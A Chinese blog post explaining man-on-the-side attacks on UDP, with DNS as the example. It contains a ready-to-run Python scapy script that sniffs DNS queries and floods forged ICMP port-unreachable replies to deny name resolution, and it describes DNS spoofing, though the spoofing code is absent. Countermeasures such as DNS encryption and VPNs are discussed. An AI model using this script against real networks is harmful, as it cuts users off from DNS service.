MOTS攻击之UDP攻击

作者:飞鸟 发布于:2017-11-15 21:26 Wednesday 分类:网络安全

1.  废话

前段时间写了篇文章介绍MOTS攻击的原理及相关的攻击方式,当时只是了解其原理,没有通过程序具体实现。这段时间找时间学习了Python,抽了几天晚上时间用Python实现了UDP的攻击程序。对于TCP这块的攻击找时间再完善一下相关程序。

对于MOTS攻击方式不了解的同学们可以翻翻我上篇文章,MOTS攻击技术分析》。底层原理是关键,程序实现只是侧面佐证。

废话不多说,直接奔主题。大家都知道,UDP是没有面向连接的,不可靠的,因此对其攻击主要有两种方式:DOS攻击与UDP欺骗。


 

2.  DOS攻击

2.1 原理

因为UDP是无连接的,同一个连接中的报文与前面或后面的报文都没有直接关系。因此对其DOS攻击不像TCP那样只需要发送一个reset包就可以干掉一个TCP连接那样简单,针对UDPDOS需要将每个报文都DOS掉,不然应用层的重传还是会使会话与交互的数据保持完整。因此针对UDPDOS攻击一般情况下都是针对UDP的轻量化应用进行攻击,如DNS这种小量交互的报文,而不是P2P这种大量报文交互的应用。

DNS的交互相对较简单,DNS查询与响应。下图可见DNS的应用非常轻量化,一个DNS查询,一个DNS响应。简洁灵巧,轻量化。

因此对其进行DOS非常简单,只需要监听网络中的DNS流量,有DNS查询时,直接返回一个ICMP Port unreachable报文即可,表示端口没有开放。若为TCP的应用,其端口没有开放时,一般回应一个reset报文。并且有一点一定要保证,就是ICMP port unreachable报文一定要比正常的DNS 响应报文早到客户端,这样才可以达到DOS的效果。

点击查看原图

 

2.2 实现

要实现对UDP应用的DOS,我们以DNS为例,需要按照以下几步实现:

1、构造ICMP Port Unreachable报文

2、监听网络中的DNS查询报文

3、监听到DNS查询报文时,回应ICMP port unreachable报文

2.2.1  安装scapy

实现UDPDOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6python 3.6版本可以通过命令: pip3 install scapy-python3来安装。


 

2.2.2  构造ICMP Port Unreachable报文

ICMP Port Unreachable报文的具体格式如下,大家可以根据数据包结构来构造。

点击查看原图

具体构造时要安装scapy所支持的格式来构造,scapy库支持的icmp报文结构格式如下:

点击查看原图

2.2.3  监听并攻击

攻击程序代码如下,大家可以根据实际情况修改:

#coding:utf-8

'''
date:2017-07-05
author:feiniao
Version:1.0
'''

from scapy.all import *
import random

'''
1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡
2、再使用conf.iface=''绑定相应的网卡
3、linux需要在sniff()中指定相应的网卡

'''
conf.iface='Intel(R) Dual Band Wireless-AC 8260'

#DNS响应的地址,随机ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)

def buying(mots):
	resp = Ether()/IP()/ICMP()/IP()/UDP()

	#构造ICMP报文
	resp[ICMP].type = 3
	resp[ICMP].code = 3
	resp[ICMP][IP].src = mots[IP].src
	resp[ICMP][IP].dst = mots[IP].dst
	resp[ICMP][IP].ttl = ipttl
	resp[ICMP][IP].id = ipid
	resp[ICMP][UDP].sport = mots[UDP].sport
	resp[ICMP][UDP].dport = mots[UDP].dport

	#构造IP包头
	resp[IP].src = mots[IP].dst
	resp[IP].dst = mots[IP].src
	resp[IP].ttl = ipttl
	resp[IP].id  = ipid

	#构造以太网包头
	resp[Ether].src = mots[Ether].dst
	resp[Ether].dst = mots[Ether].src


	#发送构造的ICMP响应包
	sendp(resp,count = 30)
	
if __name__ == '__main__':
	sniff(prn=buying,filter="udp dst port 53")

 

找到攻击程序所在的目录,直接输入python dnsdos.py即可。

在实际测试时,上来就遇到一个坑。

由于DNS使用UDP,而UDP是一种不可靠的协议,其存在丢包的可能,因此DNS为了保证应用的可靠性,一般的DNS查询都是发送多个,当前面一个查询失败时,会继续发送DNS查询报文。个人测试是发送四个DNS查询。测试时,发现第一个DNS查询被DOS了,但是第二个DNS时却被正常响应了。所以导致DNS结果还是正常的。

点击查看原图

怎么达到最大程度满足实际需求可以达到对DNSDOS效果,个人有一个思路:因为DNS四个查询报文的间隔都非常短,因此监听程序可以在收到DNS查询时连续发送多个ICMP port unreachable报文,如100个,这样的话可以很大可能保证每个DNS查询最早收到的都是构造的ICMP port unreachable报文,而不是正常的DNS响应报文,这样的话就可以达到DOD效果,实测效果如下:

点击查看原图

2.3 斗争

2.3.1  DNS加密

DNS加密这种方法个人感觉最靠谱!

举个栗子:ciscoopendns解决方案,大家有时间可以实测一下。

https://www.opendns.com/about/innovations/dnscrypt/

2.3.2  代理、VPN

大家各行搜索,不废话。

3.  UDP欺骗

3.1 原理

很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。实际攻击还是攻击轻量化的应用,流量较大的攻击效果不一定明显,且成本很大。还是以DNS为测试目标吧。DNS污染在运营商里做的比较多,原理很简单:利益。并且其实现起来具有天然优势,可以在关键链路和节点进行分光监听并发送伪造的数据包。

3.2 实现

代码如下,运行很简单,

 

 


 

攻击效果如下,可以看到,伪造的DNS报文都是比正常的响应早到的。

点击查看原图

点击查看原图

3.3 斗争

3.3.1  DNS加密

参考CiscoOpenDNS

3.3.2  代理、VPN

翻墙,最好个人购买VPS搭建或者国外商业化的服务和产品,国内提供免费的墙可能有鬼。你懂的!

3.3.3  协议优化

延迟处理,收到DNS的响应包后,系统进程不是立即采取该值,而是延迟一段时间,如20ms,若没有再次收到DNS响应报文,则采取该值;若收到不同的DNS响应报文,则做深度识别,如分析ip idttl等来判断数据包的真实性或者二次发送DNS查询报文。具体可以参考上篇文章。不过这些技术太low,攻击时也可以在这些层面做优化与改进。

标签: TCP reset 丢包 重传 DDOS MOTS 劫持 MOTS-UDP UDP欺骗


您对本文的评分:
当前平均分: 9.8(3 次打分)

版权所有:《蚂蚁网-多维人生,三实而立!》 => 《MOTS攻击之UDP攻击
本文地址:http://www.vants.org/?post=286
除非注明,文章均为 《蚂蚁网-多维人生,三实而立!》 原创,欢迎转载!转载请注明本文地址,谢谢。

发表评论:

Powered by 易隐者 基于emlog 皖ICP备12002343号-1